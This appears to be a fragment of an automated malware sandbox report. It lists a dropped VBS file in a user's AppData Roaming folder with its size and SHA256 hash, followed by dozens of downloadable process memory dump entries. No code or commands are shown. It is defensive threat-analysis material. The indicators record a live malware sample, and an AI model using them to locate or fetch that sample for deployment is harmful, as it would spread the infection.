                                                                    ZxBJjWcAzN_920.vbs
                                                                    • Path C:\Users\Admin\AppData\Roaming\ZxBJjWcAzN_920.vbs
                                                                    • Size 114B
                                                                    • SHA256 8bb525680fca3b3b094f76a5c05a01dc1932ff627d3c27070caa14d1a0e1186c
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    memory/3316-211-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-183-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-143-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-141-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-137-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-135-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-133-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-131-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-129-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-127-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-125-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-123-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-121-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-117-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-115-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-113-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-111-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-109-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-108-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-103-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-101-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-99-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-97-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-93-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-91-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-89-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-88-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-149-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-139-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-119-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-105-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-70-0x0000000008370000-0x00000000083C4000-memory.dmp
                                                                    Download

                                                                    memory/3316-147-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-151-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-153-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-155-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-157-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-159-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-161-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-163-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-165-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-167-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-169-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-171-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-173-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-175-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-177-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-179-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-181-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-145-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-185-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-187-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-189-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-191-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-193-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-195-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-197-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-201-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-203-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-205-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-207-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-209-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-71-0x00000000083D0000-0x00000000083E8000-memory.dmp
                                                                    Download

                                                                    memory/3316-213-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-199-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-95-0x000000000A810000-0x000000000A8FD000-memory.dmp
                                                                    Download

                                                                    memory/3316-87-0x000000000A810000-0x000000000A904000-memory.dmp
                                                                    Download

                                                                    memory/3316-86-0x000000000A730000-0x000000000A7C2000-memory.dmp
                                                                    Download

                                                                    memory/3316-72-0x00000000083F0000-0x000000000843C000-memory.dmp
                                                                    Download

                                                                    memory/3552-41-0x00000000039D0000-0x00000000039E0000-memory.dmp
                                                                    Download

                                                                    memory/3552-14-0x0000000006B30000-0x0000000006E87000-memory.dmp
                                                                    Download

                                                                    memory/3552-2-0x00000000039D0000-0x00000000039E0000-memory.dmp
                                                                    Download

                                                                    memory/3552-3-0x0000000006310000-0x00000000069DA000-memory.dmp
                                                                    Download

                                                                    memory/3552-4-0x0000000006190000-0x00000000061B2000-memory.dmp
                                                                    Download

                                                                    memory/3552-5-0x0000000006A50000-0x0000000006AB6000-memory.dmp
                                                                    Download

                                                                    memory/3552-6-0x0000000006AC0000-0x0000000006B26000-memory.dmp
                                                                    Download

                                                                    memory/3552-0-0x00000000039D0000-0x00000000039E0000-memory.dmp
                                                                    Download

                                                                    memory/3552-1-0x00000000039E0000-0x0000000003A16000-memory.dmp
                                                                    Download

                                                                    memory/3552-15-0x0000000006FF0000-0x000000000700E000-memory.dmp
                                                                    Download

                                                                    memory/3552-20-0x00000000080D0000-0x000000000816C000-memory.dmp
                                                                    Download

                                                                    memory/3552-16-0x0000000007040000-0x000000000708C000-memory.dmp
                                                                    Download

                                                                    memory/3552-17-0x0000000008650000-0x0000000008CCA000-memory.dmp
                                                                    Download

                                                                    memory/3552-18-0x00000000075D0000-0x00000000075EA000-memory.dmp
                                                                    Download

                                                                    memory/3552-19-0x00000000035E0000-0x00000000035E8000-memory.dmp
                                                                    Download

                                                                    memory/3552-22-0x000000000A280000-0x000000000A826000-memory.dmp
                                                                    Download

                                                                    memory/3552-21-0x0000000008210000-0x000000000826C000-memory.dmp
                                                                    Download

                                                                    memory/4240-45-0x0000000007AB0000-0x0000000007ACE000-memory.dmp
                                                                    Download

                                                                    memory/4240-25-0x00000000034C0000-0x00000000034D0000-memory.dmp
                                                                    Download

                                                                    memory/4240-24-0x00000000034C0000-0x00000000034D0000-memory.dmp
                                                                    Download

                                                                    memory/4240-33-0x000000007F190000-0x000000007F1A0000-memory.dmp
                                                                    Download

                                                                    memory/4240-34-0x0000000007A70000-0x0000000007AA2000-memory.dmp
                                                                    Download

                                                                    memory/4240-35-0x0000000070DA0000-0x0000000070DEC000-memory.dmp
                                                                    Download

                                                                    memory/4240-42-0x00000000034C0000-0x00000000034D0000-memory.dmp
                                                                    Download

                                                                    memory/4240-46-0x0000000007AE0000-0x0000000007B83000-memory.dmp
                                                                    Download

                                                                    memory/4240-47-0x0000000007C80000-0x0000000007C8A000-memory.dmp
                                                                    Download

                                                                    memory/4240-48-0x0000000007E90000-0x0000000007F26000-memory.dmp
                                                                    Download

                                                                    memory/4240-49-0x0000000007E00000-0x0000000007E11000-memory.dmp
                                                                    Download

                                                                    memory/4240-50-0x00000000034C0000-0x00000000034D0000-memory.dmp
                                                                    Download

                                                                    memory/6028-1632-0x0000000000400000-0x0000000000522000-memory.dmp
                                                                    Download